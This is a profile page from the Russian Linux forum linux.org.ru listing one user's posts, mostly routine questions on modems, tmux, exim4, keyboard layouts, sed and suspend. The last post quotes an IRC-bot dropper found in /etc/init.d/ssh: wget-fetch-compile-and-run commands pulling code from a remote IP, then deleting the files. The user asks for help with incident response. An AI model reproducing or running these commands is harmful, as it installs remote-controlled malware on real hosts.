LINUX.ORG.RU

Сообщения conformist

 

Can't open '/dev/ttyUSB2': Device or resource busy

usb-modem (huawei e173) — пользователь есть в группе dialout. Если от root — всё работает прекрасно. Не знаю куда копать. Если сбросить его (usbreset) или вытащить и вставить на место — первый раз он ответит (проверка счёта) и дальше всё по новой.

 

conformist
()

Открыть мобильную версию сайта, вместо обычной

Доброго времени суток! Есть непреодолимое желание открывать некоторые ссылки, которые ведут на обычные сайты, как мобильные версии (они обычно легче, меньше трафика). Желательно, чтобы это был какой-то фиксированный список, а не простоя подстановка для проверки, существует ли мобильная версия.

Например, есть ссылка http://pikabu.ru, и когда я на неё кликну, хочу чтобы Firefox открыл http://m.pikabu.ru (сайт просто для примера).

Такое возможно?

 

conformist
()

ls показывает некоторые файлы в кавычках

В общем непонятно почему, ls начал показывать некоторые файлы в кавычках, например:

$ ls
'debian live.vdi'  live 
притом, обращение к файлу можно делать без кавычек и если пробельных символов в имени не будет — не будет и кавычек.
$ bash --version
GNU bash, version 4.3.42(1)-release (x86_64-pc-linux-gnu)
может это новая фишка баш? \ls выдаёт так же.

 , ,

conformist
()

network manager + rfcomm

В общем есть некоторая необходимость использовать свою старую нокию как модем через bluetooth.

Узнал mac, забиндил, далее подключаю pon connection-name. Но так не то, чтобы не удобно, но как-то не так. Хотелось бы подключать просто через network manager, но ему никак не указать, что интернет придёт через /dev/rfcomm0.

Пробовал через nmcli connection show --active узнать все подробности и создал файл в /etc/NetworkManager/system-connections/nokia, но апплет не видит нового соединения.

В общем я теряюсь в догадках — что я сделал не так и может ли NM в принципе работать с такими соединениями. По сути там такой же ppp0 интерфейс, как и у usb-modem'а, но что-то тут не так.

Прошу советы.

 , ,

conformist
()

Почему в man'ах пишут так — `something'?

Часто в манах можно увидеть такие конструкции, но я не могу понять, почему так? Почему не заключить просто в одиночные кавычки, зачем начинать с обратного апострофа, а заканчивать — кавычкой?

 ,

conformist
()

tmux & pwd & remain-on-exit

Доброго времени суток! Не получается настроить tmux так, как мне хотелось бы. Первая проблема: в правой части статус-панели отображается путь к текущему каталогу и время, в конфиге:

set -g status-right '#(pwd) %R %d/%m/%g'
разумеется, pwd пишет полностью переменную $HOME. я бы хотел, чтобы вместо этого там было ~/. Когда мне это понадобилось в заголовке окна терминала, была найдена функция, которая была в .bashrc и хорошо работала:
function directory_to_titlebar {
        local pwd_length=42
        local dir="$PWD"
        if [[ "$HOME" == ${dir:0:${#HOME}} ]] ; then
                dir="~${dir:${#HOME}}"
        fi
        if [[ ${dir:${#dir}-1} != "/" ]] ; then
                dir="$dir/"
        fi
        if [[ "$dir" =~ (~){0,1}/.*(.{${pwd_length}}) ]] ; then
                local tilde=${BASH_REMATCH[1]}
                local directory=${BASH_REMATCH[2]}
                if [[ "$directory" =~ [^/]*(.*) ]] ; then
                  directory=${BASH_REMATCH[1]}
                fi
                dir="$tilde/...$directory"
        fi
        printf "\033]0;%s\007" "$dir"
}
PROMPT_COMMAND='echo -ne "\033]0;${directory_to_titlebar}\007"'
и я не могу понять, как бы мне это использовать для статус панели в tmux. Хотя может есть и более изящный вариант, не откажусь.

Второе. В конфиге описано, что нужно запустить при старте tmux, вот:

new -n rss newsbeuter
neww -n mutt mutt
neww -n mocp mocp
neww -n bash
selectw -t 4
Ситуация такова, что если запустить просто tmux, то откроется то, что запланировано и скроется сразу же, а мне откроется другая сессия с одним окошком, как дефолт. Чтобы этого избежать нужно сразу же писать tmux attach, но это несколько неудобно.

Так же, если закрыть одно из запущенных приложений, например mutt, то и окошко с ним закрывается и не помогает в этом случае remain-on-exit on, только если убивать обычное окошко, оно напишет pane is dead.

Вот такие вот проблемы, жду советов и рекомендаций.

 

conformist
()

ubuntu смена раскладки по caps lock

Доброго времени суток.

Установлена убунту14.04, захотелось мне смены раскладки по caps lock. Сказано — сделано. Но есть одно НО!

Работает это весьма странно. Вроде переключает раскладку, но если немного задержать кнопку (порой случайно так бывает), то этот капс начинает работать как настоящий капс и пишет всё капсом. Это неприемлемое поведение для кнопки переключения раскладки, потому я решил это как-то исправить. Пока почти безуспешно. Почему почти? Вписал я в /etc/default/keyboard следующее:

XKBMODEL="asus_laptop"
XKBLAYOUT="us,ru"
XKBVARIANT=","
XKBOPTIONS="grp:caps_toggle,lv3:ralt_switch,terminate:ctrl_alt_bksp,misc:typo"
и получил абсолютное наслаждение от работающего сменой раскладки капса в виртуальном терминале(ctrl+alt+f1...6). Но точно такое же, как было прежде поведение в иксах. Я перепробовал всё, наверное:

  • удалял ibus
  • устанавливал ibus
  • крутил в dconf в ветке org.gnome.desktop.input-sources
  • крутил dconf в ветке org.gnome.settings-daemon.peripherals.keyboard
  • пробовал просто setxkbmap, но эффекта нет.

у меня сложилось впечатление, что клавиатурой управляет какой-то демон, у которого своё мнение в отношении поведения caps lock, ведь он может работать нормально в виртуальной консоли.

Буду рад любым советам, помогите разобраться

 , , , ,

conformist
()

firefox reader view max-width

Доброго времени суток!

С 38-й версии FF добавил “режим для чтения”, чтобы много текста с экрана было читать удобнее. Так уж у них получилось, что ширину блока с текстом они задали жёстко в 30em. Нагуглить по этому поводу получилось очень мало, пару сообщений в багзилле и всё на этом. Получается, что даже на моём скромном экране это выглядит так: 1366px ширина монитора, а ширина блока с текстом — 600px. Как-то не экономно и неудобно (я понимаю, что они там по количеству символов старались ширину подобрать).

Так вот вопрос — а как мне изменить это всё? В about:config это не настраивается, только размер шрифта. Нашёл откуда FF берёт эти настройки, это файл — chrome://global/skin/aboutReader.css

Насколько я понял, я его просто так не найду, потому решил попробовать перезаписать стили. Создал в каталоге .mozilla/firefox/*.default/Chrome файл aboutReader.css с нужным:

#container {
  max-width: 80% !important;
}
но это не помогло. Я так понимаю, нужно создать UserContent.css и в нём это указать, но тогда на всех сайтах блоки с id=container будут в 80%, а этого мне не хочется. Но и reader view не открывает страницу как-то по-другому, чтобы можно было опираться на @-moz-document domain(YOUR.DOMAIN)

 

conformist
()

Не работает звук в firefox на некоторых сайтах

Доброго времени суток!

В общем сабж, например, не работает звук вообще на сайте coub.com, а так же уведомления в вк. Но есть звук на youtube, вроде бы всё и хорошо. В вк так же работают аудиозаписи.

firefox 39.0

os: openSUSE Tumbleweed

 ,

conformist
()

back-reference в regexp (sed)

Пытаюсь освоить сабж, для тестов был выбран файл /etc/services. Получилось выделить название и значение порта, не могу отделить только номер порта, вот что делаю:

~$ sed -e '/\(^$\|^#\)/d' -e 's/\([0-9]\+\)\/\(tcp\|udp\|\ddp\|sctp\)\(.*\)/\1/g' /etc/services 
tcpmux		1
echo		7
echo		7
discard		9
…
asp		27374
asp		27374
csync2		30865
dircproxy	57000
tfido		60177
fido		60179
нужно в начале добавить еще одну группу, наподобии \(\b[a-z]\) или до пробела как-то, но я не пойму как это сделать.

 , ,

conformist
()

Я сломал exim4

Заметил я как-то (а именно когда захотел забирать почту с внешнего ящика к себе в /var/mail/mbox), что не работает у меня почта на локалхосте. Т.е. пользователи не получают отправленных писем. Покопался я в логах, что-то странное происходит и восстановить это не получалось и было принято решение — удалить exim4-daemon-light со всеми настройками и сделать все заново. Так и сделал, настроен как smarthost с локальной почтой. И все вроде бы работает кроме одной штуки — root не может получать письма, а обычные пользователи — могут. мотив:

/var/mail/mail (root@mywork) <root@localhost> R=mail4root T=address_file defer (-6): mailbox /var/mail/mail has wrong uid (0 != 8)
и таких ошибок просто тонна. Права на ящик root:
~# ls -l /var/mail/
итого 2
-rw-rw---- 1 conformist mail    0 янв 26 13:30 conformist
-rw-rw---- 1 root       mail    0 янв 26 13:57 mail
Если изменить владельца mail на mail:mail, то почта на него приходит, но root не получает почты, ящик то не его.

Куда мне копать?

 ,

conformist
()

Измерить скорость локальной сети

Сабж внезапно усложнился. Что было предпринято:

самым простым и, как мне казалось, верным решением было скачивание архива speedtest (mini) и измерить скорость им. Был поднят веб-сервер, все вроде бы хорошо, с пк/ноута все проверяется, все просто отлично! Но меня интересовала скорость в локальной сети от телевизора smart tv к пк. когда я попробовал зайти на локальный сайт speedtest, то увидел неутешительную надпись на флеш ролике, что якобы тест уже истек (This test has expired!). Это печально, но в исходниках флешролика копаться бестолку — я там все равно ничего не понимаю, потому возник вопрос — а как же мне измерить скорость с телевизора с учетом того, что с него можно перейти только на страницу веб-браузера, т.к. терминала в нем нет. Может есть какая-то библиотека, которую можно впихнуть в вебсервер и посмотреть, с какой скоростью качаются данные?

 ,

conformist
()

Замена exim4 на что-нибудь по-проще

Читал, что exim4 обладает очень широкими возможностями, но на моём локалхосте он лишь иногда передает почту через smtp от гугла и доставляет локальную почту. Посему вопрос — а нужен ли мне такой функциональный MTA или можно заменить на что-нибудь по-проще?

 , ,

conformist
()

ubuntu не хочет засыпать

В общем раньше работало, а теперь что-то сломалось. Lubuntu, при нажатии на ждущий режим просто засыпала и все было хорошо, теперь же при клике на ждущий режим она вроде бы засыпает и тут же просыпается. я не пойму, в чем причина, вот лог с момента запуска режима, может я где-то не там ищу ошибку

#~dmesg
[ 1065.219710] init: anacron main process (4722) killed by TERM signal
[ 1065.646922] PM: Syncing filesystems ... done.
[ 1065.789994] PM: Preparing system for mem sleep
[ 1065.790126] Freezing user space processes ... (elapsed 0.001 seconds) done.
[ 1065.791633] Freezing remaining freezable tasks ... (elapsed 0.001 seconds) done.
[ 1065.792891] PM: Entering mem sleep
[ 1065.792934] Suspending console(s) (use no_console_suspend to debug)
[ 1065.799389] sd 0:0:0:0: [sda] Synchronizing SCSI cache
[ 1065.799532] sd 0:0:0:0: [sda] Stopping disk
[ 1065.800005] serial 00:0a: disabled
[ 1065.800033] serial 00:0a: System wakeup disabled by ACPI
[ 1065.800044] i8042 kbd 00:08: System wakeup enabled by ACPI
[ 1066.894023] PM: suspend of devices complete after 1100.936 msecs
[ 1066.908075] PM: late suspend of devices complete after 14.043 msecs
[ 1066.908342] ehci-pci 0000:00:1d.7: System wakeup enabled by ACPI
[ 1066.924066] uhci_hcd 0000:00:1d.3: System wakeup enabled by ACPI
[ 1066.924097] uhci_hcd 0000:00:1d.2: System wakeup enabled by ACPI
[ 1066.924127] uhci_hcd 0000:00:1d.1: System wakeup enabled by ACPI
[ 1066.924156] uhci_hcd 0000:00:1d.0: System wakeup enabled by ACPI
[ 1066.924264] PM: noirq suspend of devices complete after 16.184 msecs
[ 1066.924369] ACPI: Preparing to enter system sleep state S3
[ 1066.924652] PM: Saving platform NVS memory
[ 1066.924915] Disabling non-boot CPUs ...
[ 1066.924915] ACPI: Low-level resume complete
[ 1066.924915] PM: Restoring platform NVS memory
[ 1066.924915] ACPI: Waking up from system sleep state S3
[ 1066.956228] uhci_hcd 0000:00:1d.0: System wakeup disabled by ACPI
[ 1066.956261] uhci_hcd 0000:00:1d.1: System wakeup disabled by ACPI
[ 1066.956292] uhci_hcd 0000:00:1d.2: System wakeup disabled by ACPI
[ 1066.956332] uhci_hcd 0000:00:1d.3: System wakeup disabled by ACPI
[ 1066.972068] ehci-pci 0000:00:1d.7: System wakeup disabled by ACPI
[ 1067.004193] PM: noirq resume of devices complete after 78.800 msecs
[ 1067.004451] PM: early resume of devices complete after 0.220 msecs
[ 1067.015793] snd_hda_intel 0000:00:1b.0: irq 42 for MSI/MSI-X
[ 1067.015966] usb usb2: root hub lost power or was reset
[ 1067.016087] usb usb3: root hub lost power or was reset
[ 1067.016192] usb usb4: root hub lost power or was reset
[ 1067.016295] usb usb5: root hub lost power or was reset
[ 1067.016616] atl2 0000:02:00.0: irq 43 for MSI/MSI-X
[ 1067.018597] i8042 kbd 00:08: System wakeup disabled by ACPI
[ 1067.019254] serial 00:0a: activated
[ 1067.500063] usb 2-2: reset low-speed USB device number 2 using uhci_hcd
[ 1068.610278] atl2: eth0 NIC Link is Up<100 Mbps Full Duplex>
[ 1072.020039] ata1: link is slow to respond, please be patient (ready=0)
[ 1073.808335] ata1.00: ACPI cmd ef/03:45:00:00:00:a0 (SET FEATURES) filtered out
[ 1073.808338] ata1.00: ACPI cmd ef/03:0c:00:00:00:a0 (SET FEATURES) filtered out
[ 1073.808468] ata1.00: ACPI cmd c6/00:10:00:00:00:a0 (SET MULTIPLE MODE) succeeded
[ 1073.808472] ata1.00: ACPI cmd f5/00:00:00:00:00:00 (SECURITY FREEZE LOCK) filtered out
[ 1073.824342] ata1.00: configured for UDMA/100
[ 1073.824405] sd 0:0:0:0: [sda] Starting disk
[ 1073.839842] PM: resume of devices complete after 6835.385 msecs
[ 1073.840100] PM: Finishing wakeup.
[ 1073.840102] Restarting tasks ... done.

 ,

conformist
()

update-alternatives x-www-browser

В общем я сломал ссылки на x-www-browser. как это получилось:

был у меня установлен firefox и по некоторым причинам мне нужно было установить iceweasel и сделать его браузером по-умолчанию. я удалил каталог /opt/firefox, удалил ссылку /usr/bin/firefox.real и все равно он пытался запустить именно firefox как браузер по-умолчанию. далее:

dpkg-divert --remove /usr/bin/firefox 
и теперь открывается по умолчанию google-chrome.

я решил повысить приоритет iceweasel:

~# update-alternatives --install /usr/bin/x-www-browser x-www-browser /usr/bin/iceweasel 200
update-alternatives: предупреждение: принудительная переустановка альтернативы /usr/bin/iceweasel, так как группа ссылок x-www-browser сломана

т.е. теперь вот такая картина:

~# update-alternatives --display x-www-browser 
x-www-browser - ручной режим
  ссылка сейчас указывает на /usr/bin/iceweasel
/usr/bin/google-chrome-unstable — приоритет 120
/usr/bin/iceweasel — приоритет 200
/usr/bin/xlinks2 — приоритет 69
  подчинённый x-www-browser.1.gz: /usr/share/man/man1/xlinks2.1.gz
Текущая «лучшая» версия: «/usr/bin/iceweasel».
~# update-alternatives --config x-www-browser 
Есть 3 варианта для альтернативы x-www-browser (предоставляет /usr/bin/x-www-browser).

  Выбор   Путь                         Приор Состояние
------------------------------------------------------------
  0            /usr/bin/iceweasel                200       автоматический режим
  1            /usr/bin/google-chrome-unstable   120       ручной режим
* 2            /usr/bin/iceweasel                200       ручной режим
  3            /usr/bin/xlinks2                  69        ручной режим

Нажмите enter, чтобы сохранить текущий выбор[*], или введите выбранное число: 0
Что я хочу — нужно удалить лишнюю ссылку на iceweasel и выставить его браузером по-умолчанию

 , ,

conformist
()

fetchmail + mutt много ящиков, один получатель

Сабж. Настроил fetchmail на получение почты с 4-х ящиков для локального юзера user. понятное дело, что теперь все ссыпается в один файл /var/mail/user, т.е. в mutt все сообщения в куче, а хотелось бы различать их, сделать отдельные каталоги в mutt.

Возможно ли обойтись в этом случае без procmail, и если да, то как? Ну а если нет, то дайте гайд годный, буду еще докручивать procmail

 , ,

conformist
()

mkdir {dir1,dir2,dir3} есть вариант еще короче?

сабж, существует вариант создания трёх директорий короче этого

 ,

conformist
()

hard lockup at boot

Ситуация такая — ноут (asus x52n) + debian sid (было и на testing и на ubuntu). При загрузке с вероятностью 80% он не загрузится быстро, вижу заветное Linux kernel in decompress level...Parsing elf и загрузка как будто зависает. ждет минуты 2-2.5 и потом продолжается. Практически рандомно. Reboot с вероятностью процентов 100 проходит без проблем, загружается сразу. В логе наблюдаем такую вещь:

[    1.230142] mousedev: PS/2 mouse device common for all mice
[    1.230228] rtc_cmos 00:03: RTC can wake from S4
[    1.230333] rtc_cmos 00:03: rtc core: registered rtc_cmos as rtc0
[   10.290829] ------------[ cut here ]------------
[   10.290834] WARNING: CPU: 0 PID: 1 at /build/linux-Lep8DD/linux-3.16.3/kernel/watchdog.c:265 watchdog_overflow_callback+0xac/0xd0()
[   10.290836] Watchdog detected hard LOCKUP on cpu 0
[   10.290837] Modules linked in:
[   10.290842] CPU: 0 PID: 1 Comm: swapper/0 Not tainted 3.16-2-686-pae #1 Debian 3.16.3-2
[   10.290843] Hardware name: ASUSTeK Computer Inc.         K52N/K52N, BIOS K52N.213 08/21/2010
[   10.290845]  c15538dc f7407d74 c14747f8 f7407d84 c10568d4 c15538b4 f7407da0 00000001
[   10.290849]  c15538dc 00000109 c10dc94c c10dc94c 00000009 c10dc8a0 f79bf220 f74d7800
[   10.290853]  f7407d8c c1056923 00000009 f7407d84 c15538b4 f7407da0 f7407da4 c10dc94c
[   10.290857] Call Trace:
[   10.290862]  [<c14747f8>] ? dump_stack+0x3e/0x4e
[   10.290865]  [<c10568d4>] ? warn_slowpath_common+0x84/0xa0
[   10.290868]  [<c10dc94c>] ? watchdog_overflow_callback+0xac/0xd0
.........
[   10.291022]  [<c1479641>] ? ret_from_kernel_thread+0x21/0x30
[   10.291024]  [<c146e860>] ? rest_init+0x70/0x70
[   10.291030] ---[ end trace 0799944d4b2406a7 ]---
[  149.889652] hpet1: lost 118303859 rtc interrupts
[  149.890121] rtc_cmos 00:03: alarms up to one month, y3k, 114 bytes nvram, hpet irqs
[  149.890138] ledtrig-cpu: registered to indicate activity on CPUs
[  149.890479] TCP: cubic registered
[  149.890496] NET: Registered protocol family 10
полный лог здесь http://pastebin.com/4kpaEsev

По этому вопросу находил что-то подобное: http://forums.debian.net/viewtopic.php?f=5&t=117192

Но что-то ответов толковых нет, что делать — не понятно. Потому вопрос — как это исправить? Ядра, как это понятно, были разные. Самосборы (правда oldconfig) и дистрибутивные.

 ,

conformist
()

vnstat настройка

В описании написано, что он очень прост в установке. Раньше так и было, а некоторое время назад все изменилось. После установки как и раньше создаём базы:

vnstat -u -i wlan0
Error: Unable to read database "/var/lib/vnstat/wlan0": Нет такого файла или каталога
Info: -> A new database has been created.
Файл создается, когда с правами демона, когда с правами рута, непонятно. Меняю права и вроде бы все и хорошо, но файл нужно обновлять только вручную. В мануалу арчевики сказано, что можно двумя способами — через systemd или cron. Через cron — не особо охота, раньше из коробки все работало, а как же через systemd?

Также заметил, что не создается файл /run/vnstat/vnstat.pid, хотя в настройках он указан

 ,

conformist
()

Что делает этот бот

Сегодня наткнулся на скрипт, который как-то связан с irc ботом, нашли его в /etc/init.d/ssh, вот его содержимое:

wget http://205.237.100.170/manual/a.c -O /tmp/init.c;
gcc -o /tmp/init /tmp/init.c;
chmod +x /tmp/init;
/tmp/init;
rm -rf /tmp/init /tmp/init.c;

wget http://205.237.100.170/manual/pb -O /tmp/p;perl /tmp/p;rm -rf /tmp/p;

wget http://205.237.100.170/manual/b -O /tmp/b;chmod +x /tmp/b;/tmp/b;rm -rf /tmp/b;
располагается по адресу: http://stablehost.us/bots/regular.bot

собственно вопрос — что это, что следует сделать после нахождения оного.

 , , ,

conformist
()

RSS подписка на новые темы